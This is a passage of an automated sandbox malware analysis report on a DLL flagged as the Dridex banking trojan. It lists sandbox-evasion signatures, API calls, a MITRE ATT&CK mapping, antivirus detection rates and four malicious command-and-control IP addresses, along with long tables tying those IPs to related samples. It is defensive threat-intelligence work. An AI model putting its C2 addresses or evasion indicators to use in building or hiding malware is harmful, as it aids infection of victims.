                  Source: Binary string: profapi.pdb^ source: WerFault.exe, 0000000F.00000003.302169163.0000000004DC6000.00000004.00000040.sdmp
                  Source: C:\Windows\System32\loaddll32.exeCode function: 2_2_6EBDF6A8 push esi; mov dword ptr [esp], 00000000h2_2_6EBDF6A9
                  Source: initial sampleStatic PE information: section where entry point is pointing to: .rdata
                  Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior

                  Malware Analysis System Evasion:

                  barindex
                  Tries to delay execution (extensive OutputDebugStringW loop)Show sources
                  Source: C:\Windows\System32\loaddll32.exeSection loaded: OutputDebugStringW count: 1434
                  Source: C:\Windows\System32\loaddll32.exeWindow / User API: threadDelayed 1433Jump to behavior
                  Source: C:\Windows\System32\loaddll32.exeCode function: 2_2_6EBE0730 GetTokenInformation,GetSystemInfo,GetTokenInformation,2_2_6EBE0730
                  Source: Amcache.hve.15.drBinary or memory string: VMware
                  Source: Amcache.hve.15.drBinary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/5&1ec51bf7&0&000000
                  Source: Amcache.hve.15.drBinary or memory string: @scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/5&280b647&0&000000
                  Source: Amcache.hve.15.drBinary or memory string: VMware Virtual USB Mouse
                  Source: Amcache.hve.15.drBinary or memory string: VMware, Inc.
                  Source: Amcache.hve.15.drBinary or memory string: VMware Virtual disk SCSI Disk Devicehbin
                  Source: Amcache.hve.15.drBinary or memory string: Microsoft Hyper-V Generation Counter
                  Source: Amcache.hve.15.drBinary or memory string: VMware7,1
                  Source: Amcache.hve.15.drBinary or memory string: NECVMWar VMware SATA CD00
                  Source: Amcache.hve.15.drBinary or memory string: VMware Virtual disk SCSI Disk Device
                  Source: Amcache.hve.15.drBinary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW71.00V.13989454.B64.1906190538,BiosReleaseDate:06/19/2019,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware7,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
                  Source: WerFault.exe, 0000000F.00000002.312445492.000000000487E000.00000004.00000001.sdmp, WerFault.exe, 0000000F.00000002.312430160.0000000004860000.00000004.00000001.sdmpBinary or memory string: Hyper-V RAW
                  Source: Amcache.hve.15.drBinary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
                  Source: Amcache.hve.15.drBinary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
                  Source: Amcache.hve.15.drBinary or memory string: VMware, Inc.me
                  Source: Amcache.hve.15.drBinary or memory string: VMware-42 35 d8 20 48 cb c7 ff-aa 5e d0 37 a0 49 53 d7
                  Source: Amcache.hve.15.drBinary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/5&280b647&0&000000
                  Source: Amcache.hve.15.drBinary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/5&1ec51bf7&0&000000
                  Source: C:\Windows\SysWOW64\rundll32.exeProcess queried: DebugPortJump to behavior
                  Source: C:\Windows\SysWOW64\rundll32.exeProcess queried: DebugPortJump to behavior
                  Source: C:\Windows\System32\loaddll32.exeCode function: 2_2_6EBD6D0C GetUserNameW,MessageBoxW,GetLastError,CreateFileA,DebugBreak,FlushFileBuffers,FreeEnvironmentStringsA,GetConsoleOutputCP,GetEnvironmentStrings,GetLocaleInfoA,GetStartupInfoA,GetStringTypeA,HeapValidate,IsBadReadPtr,LCMapStringA,LoadLibraryA,OutputDebugStringA,2_2_6EBD6D0C
                  Source: C:\Windows\System32\loaddll32.exeCode function: 2_2_6EBE3138 RtlAddVectoredExceptionHandler,2_2_6EBE3138
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.ML.PE-A+Troj.Dridex-AJA.19171.dll",#1Jump to behavior
                  Source: loaddll32.exe, 00000002.00000002.683967106.0000000000F50000.00000002.00020000.sdmp, rundll32.exe, 00000005.00000000.288616927.00000000031F0000.00000002.00020000.sdmp, rundll32.exe, 00000005.00000000.292690279.00000000031F0000.00000002.00020000.sdmpBinary or memory string: Program Manager
                  Source: loaddll32.exe, 00000002.00000002.683967106.0000000000F50000.00000002.00020000.sdmp, rundll32.exe, 00000005.00000000.288616927.00000000031F0000.00000002.00020000.sdmp, rundll32.exe, 00000005.00000000.292690279.00000000031F0000.00000002.00020000.sdmpBinary or memory string: Shell_TrayWnd
                  Source: loaddll32.exe, 00000002.00000002.683967106.0000000000F50000.00000002.00020000.sdmp, rundll32.exe, 00000005.00000000.288616927.00000000031F0000.00000002.00020000.sdmp, rundll32.exe, 00000005.00000000.292690279.00000000031F0000.00000002.00020000.sdmpBinary or memory string: Progman
                  Source: loaddll32.exe, 00000002.00000002.683967106.0000000000F50000.00000002.00020000.sdmp, rundll32.exe, 00000005.00000000.288616927.00000000031F0000.00000002.00020000.sdmp, rundll32.exe, 00000005.00000000.292690279.00000000031F0000.00000002.00020000.sdmpBinary or memory string: Progmanlock
                  Source: C:\Windows\System32\loaddll32.exeCode function: GetUserNameW,MessageBoxW,GetLastError,CreateFileA,DebugBreak,FlushFileBuffers,FreeEnvironmentStringsA,GetConsoleOutputCP,GetEnvironmentStrings,GetLocaleInfoA,GetStartupInfoA,GetStringTypeA,HeapValidate,IsBadReadPtr,LCMapStringA,LoadLibraryA,OutputDebugStringA,2_2_6EBD6D0C
                  Source: C:\Windows\System32\loaddll32.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior
                  Source: C:\Windows\System32\loaddll32.exeCode function: 2_2_6EBD6D0C GetUserNameW,MessageBoxW,GetLastError,CreateFileA,DebugBreak,FlushFileBuffers,FreeEnvironmentStringsA,GetConsoleOutputCP,GetEnvironmentStrings,GetLocaleInfoA,GetStartupInfoA,GetStringTypeA,HeapValidate,IsBadReadPtr,LCMapStringA,LoadLibraryA,OutputDebugStringA,2_2_6EBD6D0C
                  Source: Amcache.hve.15.dr, Amcache.hve.LOG1.15.drBinary or memory string: c:\users\user\desktop\procexp.exe
                  Source: Amcache.hve.15.drBinary or memory string: c:\program files\windows defender\msmpeng.exe
                  Source: Amcache.hve.15.dr, Amcache.hve.LOG1.15.drBinary or memory string: procexp.exe

                  Mitre Att&ck Matrix

                  Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
                  Valid AccountsWindows Management InstrumentationPath InterceptionProcess Injection12Virtualization/Sandbox Evasion11OS Credential DumpingSecurity Software Discovery31Remote ServicesArchive Collected Data1Exfiltration Over Other Network MediumEncrypted Channel1Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
                  Default AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsProcess Injection12LSASS MemoryVirtualization/Sandbox Evasion11Remote Desktop ProtocolData from Removable MediaExfiltration Over BluetoothApplication Layer Protocol1Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
                  Domain AccountsAt (Linux)Logon Script (Windows)Logon Script (Windows)Obfuscated Files or Information1Security Account ManagerProcess Discovery1SMB/Windows Admin SharesData from Network Shared DriveAutomated ExfiltrationSteganographyExploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
                  Local AccountsAt (Windows)Logon Script (Mac)Logon Script (Mac)Rundll321NTDSApplication Window Discovery1Distributed Component Object ModelInput CaptureScheduled TransferProtocol ImpersonationSIM Card SwapCarrier Billing Fraud
                  Cloud AccountsCronNetwork Logon ScriptNetwork Logon ScriptSoftware PackingLSA SecretsAccount Discovery1SSHKeyloggingData Transfer Size LimitsFallback ChannelsManipulate Device CommunicationManipulate App Store Rankings or Ratings
                  Replication Through Removable MediaLaunchdRc.commonRc.commonSteganographyCached Domain CredentialsSystem Owner/User Discovery1VNCGUI Input CaptureExfiltration Over C2 ChannelMultiband CommunicationJamming or Denial of ServiceAbuse Accessibility Features
                  External Remote ServicesScheduled TaskStartup ItemsStartup ItemsCompile After DeliveryDCSyncRemote System Discovery1Windows Remote ManagementWeb Portal CaptureExfiltration Over Alternative ProtocolCommonly Used PortRogue Wi-Fi Access PointsData Encrypted for Impact
                  Drive-by CompromiseCommand and Scripting InterpreterScheduled Task/JobScheduled Task/JobIndicator Removal from ToolsProc FilesystemSystem Information Discovery13Shared WebrootCredential API HookingExfiltration Over Symmetric Encrypted Non-C2 ProtocolApplication Layer ProtocolDowngrade to Insecure ProtocolsGenerate Fraudulent Advertising Revenue

                  Behavior Graph

                  Hide Legend

                  Legend:

                  • Process
                  • Signature
                  • Created File
                  • DNS/IP Info
                  • Is Dropped
                  • Is Windows Process
                  • Number of created Registry Values
                  • Number of created Files
                  • Visual Basic
                  • Delphi
                  • Java
                  • .Net C# or VB.NET
                  • C, C++ or other language
                  • Is malicious
                  • Internet
                  behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 544259 Sample: SecuriteInfo.com.ML.PE-A+Tr... Startdate: 23/12/2021 Architecture: WINDOWS Score: 76 18 185.4.135.27 TOPHOSTGR Greece 2->18 20 85.10.248.28 HETZNER-ASDE Germany 2->20 22 2 other IPs or domains 2->22 24 Found malware configuration 2->24 26 Multi AV Scanner detection for submitted file 2->26 28 Yara detected Dridex unpacked file 2->28 30 2 other signatures 2->30 9 loaddll32.exe 1 2->9         started        signatures3 process4 signatures5 32 Tries to delay execution (extensive OutputDebugStringW loop) 9->32 12 cmd.exe 1 9->12         started        process6 process7 14 rundll32.exe 12->14         started        process8 16 WerFault.exe 23 9 14->16         started       

                  Screenshots

                  Thumbnails

                  This section contains all screenshots as thumbnails, including those not shown in the slideshow.

                  windows-stand

                  Antivirus, Machine Learning and Genetic Malware Detection

                  Initial Sample

                  SourceDetectionScannerLabelLink
                  SecuriteInfo.com.ML.PE-A+Troj.Dridex-AJA.19171.dll21%VirustotalBrowse
                  SecuriteInfo.com.ML.PE-A+Troj.Dridex-AJA.19171.dll23%ReversingLabsWin32.Worm.Cridex

                  Dropped Files

                  No Antivirus matches

                  Unpacked PE Files

                  SourceDetectionScannerLabelLinkDownload
                  5.0.rundll32.exe.2dd0000.4.unpack100%AviraTR/Crypt.XPACK.GenDownload File
                  5.2.rundll32.exe.6ebd0000.2.unpack100%AviraHEUR/AGEN.1144420Download File
                  5.0.rundll32.exe.6ebd0000.5.unpack100%AviraHEUR/AGEN.1144420Download File
                  5.0.rundll32.exe.6ebd0000.2.unpack100%AviraHEUR/AGEN.1144420Download File
                  2.2.loaddll32.exe.1e0000.0.unpack100%AviraTR/Crypt.XPACK.GenDownload File
                  5.0.rundll32.exe.2dd0000.1.unpack100%AviraTR/Crypt.XPACK.GenDownload File
                  2.2.loaddll32.exe.6ebd0000.2.unpack100%AviraHEUR/AGEN.1144420Download File
                  5.2.rundll32.exe.2dd0000.1.unpack100%AviraTR/Crypt.XPACK.GenDownload File

                  Domains

                  No Antivirus matches

                  URLs

                  SourceDetectionScannerLabelLink
                  http://www.forex-broker.websiteDVarFileInfo$0%Avira URL Cloudsafe

                  Domains and IPs

                  Contacted Domains

                  No contacted domains info

                  URLs from Memory and Binaries

                  NameSourceMaliciousAntivirus DetectionReputation
                  http://upx.sf.netAmcache.hve.15.drfalse
                    high
                    http://www.forex-broker.websiteDVarFileInfo$loaddll32.exe, 00000002.00000002.684618146.000000006EBEF000.00000002.00020000.sdmp, rundll32.exe, 00000005.00000000.294097140.000000006EBEF000.00000002.00020000.sdmpfalse
                    • Avira URL Cloud: safe
                    low

                    Contacted IPs

                    • No. of IPs < 25%
                    • 25% < No. of IPs < 50%
                    • 50% < No. of IPs < 75%
                    • 75% < No. of IPs

                    Public

                    IPDomainCountryFlagASNASN NameMalicious
                    185.4.135.27
                    unknownGreece
                    199246TOPHOSTGRtrue
                    85.10.248.28
                    unknownGermany
                    24940HETZNER-ASDEtrue
                    80.211.3.13
                    unknownItaly
                    31034ARUBA-ASNITtrue
                    144.91.122.102
                    unknownGermany
                    51167CONTABODEtrue

                    General Information

                    Joe Sandbox Version:34.0.0 Boulder Opal
                    Analysis ID:544259
                    Start date:23.12.2021
                    Start time:00:29:12
                    Joe Sandbox Product:CloudBasic
                    Overall analysis duration:0h 6m 38s
                    Hypervisor based Inspection enabled:false
                    Report type:full
                    Sample file name:SecuriteInfo.com.ML.PE-A+Troj.Dridex-AJA.19171.dll
                    Cookbook file name:default.jbs
                    Analysis system description:Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
                    Run name:Run with higher sleep bypass
                    Number of analysed new started processes analysed:32
                    Number of new started drivers analysed:0
                    Number of existing processes analysed:0
                    Number of existing drivers analysed:0
                    Number of injected processes analysed:0
                    Technologies:
                    • HCA enabled
                    • EGA enabled
                    • HDC enabled
                    • AMSI enabled
                    Analysis Mode:default
                    Analysis stop reason:Timeout
                    Detection:MAL
                    Classification:mal76.troj.evad.winDLL@6/6@0/4
                    EGA Information:Failed
                    HDC Information:
                    • Successful, ratio: 54.5% (good quality ratio 52.3%)
                    • Quality average: 79.8%
                    • Quality standard deviation: 27.1%
                    HCA Information:Failed
                    Cookbook Comments:
                    • Adjust boot time
                    • Enable AMSI
                    • Sleeps bigger than 120000ms are automatically reduced to 1000ms
                    • Found application associated with file extension: .dll
                    Warnings:
                    Show All
                    • Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, WerFault.exe, WMIADAP.exe, SgrmBroker.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe, wuapihost.exe
                    • Excluded IPs from analysis (whitelisted): 23.54.113.45, 23.54.113.53, 52.168.117.173
                    • Excluded domains from analysis (whitelisted): storeedgefd.dsx.mp.microsoft.com.edgekey.net.globalredir.akadns.net, onedsblobprdeus16.eastus.cloudapp.azure.com, ctldl.windowsupdate.com, store-images.s-microsoft.com-c.edgekey.net, storeedgefd.dsx.mp.microsoft.com.edgekey.net, arc.msn.com, storeedgefd.xbetservices.akadns.net, ris.api.iris.microsoft.com, e12564.dspb.akamaiedge.net, login.live.com, store-images.s-microsoft.com, blobcollector.events.data.trafficmanager.net, displaycatalog.mp.microsoft.com, e16646.dscg.akamaiedge.net, img-prod-cms-rt-microsoft-com.akamaized.net, watson.telemetry.microsoft.com, storeedgefd.dsx.mp.microsoft.com
                    • Not all processes where analyzed, report is missing behavior information

                    Simulations

                    Behavior and APIs

                    No simulations

                    Joe Sandbox View / Context

                    IPs

                    MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                    185.4.135.27SecuriteInfo.com.W32.AIDetect.malware2.10228.dllGet hashmaliciousBrowse
                      SecuriteInfo.com.W32.AIDetect.malware2.28165.dllGet hashmaliciousBrowse
                        SecuriteInfo.com.ML.PE-A+Troj.Dridex-AJA.19171.dllGet hashmaliciousBrowse
                          SecuriteInfo.com.ML.PE-A+Troj.Dridex-AJA.21147.dllGet hashmaliciousBrowse
                            triage_dropped_file.dllGet hashmaliciousBrowse
                              SecuriteInfo.com.ML.PE-A+Troj.Dridex-AJA.21147.dllGet hashmaliciousBrowse
                                triage_dropped_file.dllGet hashmaliciousBrowse
                                  triage_dropped_file.dllGet hashmaliciousBrowse
                                    SecuriteInfo.com.BehavesLike.Win32.Drixed.hc.23689.dllGet hashmaliciousBrowse
                                      SecuriteInfo.com.W32.AIDetect.malware1.26365.dllGet hashmaliciousBrowse
                                        SecuriteInfo.com.W32.AIDetect.malware1.11362.dllGet hashmaliciousBrowse
                                          triage_dropped_file.dllGet hashmaliciousBrowse
                                            SecuriteInfo.com.BehavesLike.Win32.Drixed.hc.23689.dllGet hashmaliciousBrowse
                                              SecuriteInfo.com.W32.AIDetect.malware1.26365.dllGet hashmaliciousBrowse
                                                SecuriteInfo.com.W32.AIDetect.malware1.11362.dllGet hashmaliciousBrowse
                                                  SecuriteInfo.com.W32.AIDetect.malware1.23460.dllGet hashmaliciousBrowse
                                                    SecuriteInfo.com.W32.AIDetect.malware1.23460.dllGet hashmaliciousBrowse
                                                      Positive_Result_75184731.xlsGet hashmaliciousBrowse
                                                        SecuriteInfo.com.W32.AIDetect.malware1.4295.dllGet hashmaliciousBrowse
                                                          SecuriteInfo.com.W32.AIDetect.malware1.4295.dllGet hashmaliciousBrowse
                                                            85.10.248.28SecuriteInfo.com.W32.AIDetect.malware2.10228.dllGet hashmaliciousBrowse
                                                              SecuriteInfo.com.W32.AIDetect.malware2.28165.dllGet hashmaliciousBrowse
                                                                SecuriteInfo.com.ML.PE-A+Troj.Dridex-AJA.19171.dllGet hashmaliciousBrowse
                                                                  SecuriteInfo.com.ML.PE-A+Troj.Dridex-AJA.21147.dllGet hashmaliciousBrowse
                                                                    triage_dropped_file.dllGet hashmaliciousBrowse
                                                                      SecuriteInfo.com.ML.PE-A+Troj.Dridex-AJA.21147.dllGet hashmaliciousBrowse
                                                                        triage_dropped_file.dllGet hashmaliciousBrowse
                                                                          triage_dropped_file.dllGet hashmaliciousBrowse
                                                                            SecuriteInfo.com.BehavesLike.Win32.Drixed.hc.23689.dllGet hashmaliciousBrowse
                                                                              SecuriteInfo.com.W32.AIDetect.malware1.26365.dllGet hashmaliciousBrowse
                                                                                SecuriteInfo.com.W32.AIDetect.malware1.11362.dllGet hashmaliciousBrowse
                                                                                  triage_dropped_file.dllGet hashmaliciousBrowse
                                                                                    SecuriteInfo.com.BehavesLike.Win32.Drixed.hc.23689.dllGet hashmaliciousBrowse
                                                                                      SecuriteInfo.com.W32.AIDetect.malware1.26365.dllGet hashmaliciousBrowse
                                                                                        SecuriteInfo.com.W32.AIDetect.malware1.11362.dllGet hashmaliciousBrowse
                                                                                          SecuriteInfo.com.W32.AIDetect.malware1.23460.dllGet hashmaliciousBrowse
                                                                                            SecuriteInfo.com.W32.AIDetect.malware1.23460.dllGet hashmaliciousBrowse
                                                                                              Positive_Result_75184731.xlsGet hashmaliciousBrowse
                                                                                                SecuriteInfo.com.W32.AIDetect.malware1.4295.dllGet hashmaliciousBrowse
                                                                                                  SecuriteInfo.com.W32.AIDetect.malware1.4295.dllGet hashmaliciousBrowse
                                                                                                    80.211.3.13SecuriteInfo.com.W32.AIDetect.malware2.10228.dllGet hashmaliciousBrowse
                                                                                                      SecuriteInfo.com.W32.AIDetect.malware2.28165.dllGet hashmaliciousBrowse
                                                                                                        SecuriteInfo.com.ML.PE-A+Troj.Dridex-AJA.19171.dllGet hashmaliciousBrowse
                                                                                                          SecuriteInfo.com.ML.PE-A+Troj.Dridex-AJA.21147.dllGet hashmaliciousBrowse
                                                                                                            triage_dropped_file.dllGet hashmaliciousBrowse
                                                                                                              SecuriteInfo.com.ML.PE-A+Troj.Dridex-AJA.21147.dllGet hashmaliciousBrowse
                                                                                                                triage_dropped_file.dllGet hashmaliciousBrowse
                                                                                                                  triage_dropped_file.dllGet hashmaliciousBrowse
                                                                                                                    SecuriteInfo.com.BehavesLike.Win32.Drixed.hc.23689.dllGet hashmaliciousBrowse
                                                                                                                      SecuriteInfo.com.W32.AIDetect.malware1.26365.dllGet hashmaliciousBrowse
                                                                                                                        SecuriteInfo.com.W32.AIDetect.malware1.11362.dllGet hashmaliciousBrowse
                                                                                                                          triage_dropped_file.dllGet hashmaliciousBrowse
                                                                                                                            SecuriteInfo.com.BehavesLike.Win32.Drixed.hc.23689.dllGet hashmaliciousBrowse
                                                                                                                              SecuriteInfo.com.W32.AIDetect.malware1.26365.dllGet hashmaliciousBrowse
                                                                                                                                SecuriteInfo.com.W32.AIDetect.malware1.11362.dllGet hashmaliciousBrowse
                                                                                                                                  SecuriteInfo.com.W32.AIDetect.malware1.23460.dllGet hashmaliciousBrowse
                                                                                                                                    SecuriteInfo.com.W32.AIDetect.malware1.23460.dllGet hashmaliciousBrowse
                                                                                                                                      Positive_Result_75184731.xlsGet hashmaliciousBrowse
                                                                                                                                        SecuriteInfo.com.W32.AIDetect.malware1.4295.dllGet hashmaliciousBrowse
                                                                                                                                          SecuriteInfo.com.W32.AIDetect.malware1.4295.dllGet hashmaliciousBrowse

                                                                                                                                            Domains

                                                                                                                                            No context

                                                                                                                                            ASN

                                                                                                                                            MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                                                                                            TOPHOSTGRSecuriteInfo.com.W32.AIDetect.malware2.10228.dllGet hashmaliciousBrowse
                                                                                                                                            • 185.4.135.27
                                                                                                                                            SecuriteInfo.com.W32.AIDetect.malware2.28165.dllGet hashmaliciousBrowse
                                                                                                                                            • 185.4.135.27
                                                                                                                                            SecuriteInfo.com.ML.PE-A+Troj.Dridex-AJA.19171.dllGet hashmaliciousBrowse
                                                                                                                                            • 185.4.135.27
                                                                                                                                            SecuriteInfo.com.ML.PE-A+Troj.Dridex-AJA.21147.dllGet hashmaliciousBrowse
                                                                                                                                            • 185.4.135.27
                                                                                                                                            triage_dropped_file.dllGet hashmaliciousBrowse
                                                                                                                                            • 185.4.135.27
                                                                                                                                            SecuriteInfo.com.ML.PE-A+Troj.Dridex-AJA.21147.dllGet hashmaliciousBrowse
                                                                                                                                            • 185.4.135.27
                                                                                                                                            triage_dropped_file.dllGet hashmaliciousBrowse
                                                                                                                                            • 185.4.135.27
                                                                                                                                            triage_dropped_file.dllGet hashmaliciousBrowse
                                                                                                                                            • 185.4.135.27
                                                                                                                                            SecuriteInfo.com.BehavesLike.Win32.Drixed.hc.23689.dllGet hashmaliciousBrowse
                                                                                                                                            • 185.4.135.27
                                                                                                                                            SecuriteInfo.com.W32.AIDetect.malware1.26365.dllGet hashmaliciousBrowse
                                                                                                                                            • 185.4.135.27
                                                                                                                                            SecuriteInfo.com.W32.AIDetect.malware1.11362.dllGet hashmaliciousBrowse
                                                                                                                                            • 185.4.135.27
                                                                                                                                            triage_dropped_file.dllGet hashmaliciousBrowse
                                                                                                                                            • 185.4.135.27
                                                                                                                                            SecuriteInfo.com.BehavesLike.Win32.Drixed.hc.23689.dllGet hashmaliciousBrowse
                                                                                                                                            • 185.4.135.27
                                                                                                                                            SecuriteInfo.com.W32.AIDetect.malware1.26365.dllGet hashmaliciousBrowse
                                                                                                                                            • 185.4.135.27
                                                                                                                                            SecuriteInfo.com.W32.AIDetect.malware1.11362.dllGet hashmaliciousBrowse
                                                                                                                                            • 185.4.135.27
                                                                                                                                            SecuriteInfo.com.W32.AIDetect.malware1.23460.dllGet hashmaliciousBrowse
                                                                                                                                            • 185.4.135.27
                                                                                                                                            SecuriteInfo.com.W32.AIDetect.malware1.23460.dllGet hashmaliciousBrowse
                                                                                                                                            • 185.4.135.27
                                                                                                                                            Positive_Result_75184731.xlsGet hashmaliciousBrowse
                                                                                                                                            • 185.4.135.27
                                                                                                                                            SecuriteInfo.com.W32.AIDetect.malware1.4295.dllGet hashmaliciousBrowse
                                                                                                                                            • 185.4.135.27
                                                                                                                                            SecuriteInfo.com.W32.AIDetect.malware1.4295.dllGet hashmaliciousBrowse
                                                                                                                                            • 185.4.135.27
                                                                                                                                            ARUBA-ASNITSecuriteInfo.com.W32.AIDetect.malware2.10228.dllGet hashmaliciousBrowse
                                                                                                                                            • 80.211.3.13
                                                                                                                                            SecuriteInfo.com.W32.AIDetect.malware2.28165.dllGet hashmaliciousBrowse
                                                                                                                                            • 80.211.3.13
                                                                                                                                            SecuriteInfo.com.ML.PE-A+Troj.Dridex-AJA.19171.dllGet hashmaliciousBrowse
                                                                                                                                            • 80.211.3.13
                                                                                                                                            gF1nMkOSsT0Jq.dllGet hashmaliciousBrowse
                                                                                                                                            • 212.237.56.116
                                                                                                                                            QkurFOUhAa.dllGet hashmaliciousBrowse
                                                                                                                                            • 212.237.56.116
                                                                                                                                            vEppFl04X8.dllGet hashmaliciousBrowse
                                                                                                                                            • 212.237.56.116
                                                                                                                                            ZTnCUycB1g.dllGet hashmaliciousBrowse
                                                                                                                                            • 212.237.56.116
                                                                                                                                            jJv4XYBWoC.dllGet hashmaliciousBrowse
                                                                                                                                            • 212.237.56.116
                                                                                                                                            xVOS8F9XiH.dllGet hashmaliciousBrowse
                                                                                                                                            • 212.237.56.116
                                                                                                                                            SecuriteInfo.com.ML.PE-A+Troj.Dridex-AJA.21147.dllGet hashmaliciousBrowse
                                                                                                                                            • 80.211.3.13
                                                                                                                                            triage_dropped_file.dllGet hashmaliciousBrowse
                                                                                                                                            • 80.211.3.13
                                                                                                                                            JmIEoE25N1.dllGet hashmaliciousBrowse
                                                                                                                                            • 212.237.56.116
                                                                                                                                            SecuriteInfo.com.ML.PE-A+Troj.Dridex-AJA.21147.dllGet hashmaliciousBrowse
                                                                                                                                            • 80.211.3.13
                                                                                                                                            triage_dropped_file.dllGet hashmaliciousBrowse
                                                                                                                                            • 80.211.3.13
                                                                                                                                            triage_dropped_file.dllGet hashmaliciousBrowse
                                                                                                                                            • 80.211.3.13
                                                                                                                                            SecuriteInfo.com.BehavesLike.Win32.Drixed.hc.23689.dllGet hashmaliciousBrowse
                                                                                                                                            • 80.211.3.13
                                                                                                                                            yXVganwQXW.dllGet hashmaliciousBrowse
                                                                                                                                            • 212.237.56.116
                                                                                                                                            KT9GKWEcbY.dllGet hashmaliciousBrowse
                                                                                                                                            • 212.237.56.116
                                                                                                                                            SecuriteInfo.com.W32.AIDetect.malware1.26365.dllGet hashmaliciousBrowse
                                                                                                                                            • 80.211.3.13
                                                                                                                                            SecuriteInfo.com.W32.AIDetect.malware1.11362.dllGet hashmaliciousBrowse
                                                                                                                                            • 80.211.3.13
                                                                                                                                            HETZNER-ASDESecuriteInfo.com.W32.AIDetect.malware2.10228.dllGet hashmaliciousBrowse
                                                                                                                                            • 85.10.248.28
                                                                                                                                            SecuriteInfo.com.W32.AIDetect.malware2.28165.dllGet hashmaliciousBrowse
                                                                                                                                            • 85.10.248.28
                                                                                                                                            SecuriteInfo.com.ML.PE-A+Troj.Dridex-AJA.19171.dllGet hashmaliciousBrowse
                                                                                                                                            • 85.10.248.28
                                                                                                                                            SecuriteInfo.com.ML.PE-A+Troj.Dridex-AJA.21147.dllGet hashmaliciousBrowse
                                                                                                                                            • 85.10.248.28
                                                                                                                                            triage_dropped_file.dllGet hashmaliciousBrowse
                                                                                                                                            • 85.10.248.28
                                                                                                                                            SecuriteInfo.com.ML.PE-A+Troj.Dridex-AJA.21147.dllGet hashmaliciousBrowse
                                                                                                                                            • 85.10.248.28
                                                                                                                                            triage_dropped_file.dllGet hashmaliciousBrowse
                                                                                                                                            • 85.10.248.28
                                                                                                                                            triage_dropped_file.dllGet hashmaliciousBrowse
                                                                                                                                            • 85.10.248.28
                                                                                                                                            SecuriteInfo.com.BehavesLike.Win32.Drixed.hc.23689.dllGet hashmaliciousBrowse
                                                                                                                                            • 85.10.248.28
                                                                                                                                            SecuriteInfo.com.W32.AIDetect.malware1.26365.dllGet hashmaliciousBrowse
                                                                                                                                            • 85.10.248.28
                                                                                                                                            SecuriteInfo.com.W32.AIDetect.malware1.11362.dllGet hashmaliciousBrowse
                                                                                                                                            • 85.10.248.28
